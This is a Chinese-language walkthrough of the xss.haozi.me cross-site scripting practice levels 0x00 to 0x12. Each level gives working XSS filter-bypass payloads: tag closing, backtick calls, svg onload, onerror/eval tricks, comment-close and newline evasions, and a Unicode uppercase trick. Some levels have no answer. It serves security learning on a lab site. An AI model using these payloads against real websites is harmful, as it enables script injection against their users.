在线练习地址:https://xss.haozi.me/
0x00
第一关很简单
payload:
<script>alert(1)</script>
0x01
第二关也很简单,关键是闭合之前的标签
</textarea><script>alert(1)</script>
0x02
这一关主要是提前闭合双引号,构造点击事件,我们点击文本框就会触发
1" type="button" onclick=alert(1)>//
不过也可以直接闭合标签
"><script>alert(1)</script>
<svg>
方式:
"><svg/onload=alert(1)>
0x03**
这一关过滤了括号,我们这里使用的是`来代替括号
<script>alert`1`</script>
还可以使用<svg>标签
<svg><script>alert(1)</script>
0x04
过滤了括号和`,我们依旧可以使用<svg>标签
<svg><script>alert(1)</script>
方法二:
<script>window.onerror=eval;throw'=alert\x281\x29'</script>
方法三:利用iframe
<iframe srcdoc="<script>parent.alert(1)</script>"
0x05
这一关中把-->
注释给替换了,不过我们可以使用--!>
来闭合注释
--!><script>alert(1)</script>
0x06
这一关中把auto和on开头的字符以及>
都替换为了_
,不过我们依旧可以使用,onmouseover,通过换行来绕过过滤
onmouseover
=alert(1)
或者将类型转为image然后使用onerror
type=image src onerror
=alert(1)
0x07
这一关中过滤了</ >
中除了>
的所有字符。我们还可以使用<svg>
标签来完成。
<svg/onload=alert(1)
0x08
我们可以两种方式来逃逸正则的匹配:
payload:
</style
><script>alert(1)</script>
</style ><script>alert(1)</script>
0x09
通过分析源码我么可以发现其过滤是开头可以是https必须有的是\\www.segmentfault.com
payload:
https://www.segmentfault.com" onload=alert(1)>
0x0A
我们看右边的源码可以知道首先我们需要满足是一个指定url的格式,然后又过滤了很多关键字符
0x0B
0x0D
我们看到过滤了用来闭合的符号,不过我们可以直接用换行和注释搞定:
payload:
alert(1)
-->
0x0E
toUpperCase函数执行的时候会将其他国家的字符转为大写的S,我们通过这一点绕过:
<ſcript src="https://xss.haozi.me/j.js></script>
0x0F
对html inline js 转义就是做无用功,浏览器会先解析html, 然后再解析 js
');alert('1
0x10
二话不说直接绕
1;alert(1);
0x11
我们可以看到,不管他加多少个转义符,加入到标签中的时候都是字符串,所以我们可以利用这一点来绕过:
payload1:
");
alert(1);
("
payload2:
"),alert("1
0x12
直接用闭合标签
</script>
<script>
alert(1);
</script>
方法二
\");alert(1);//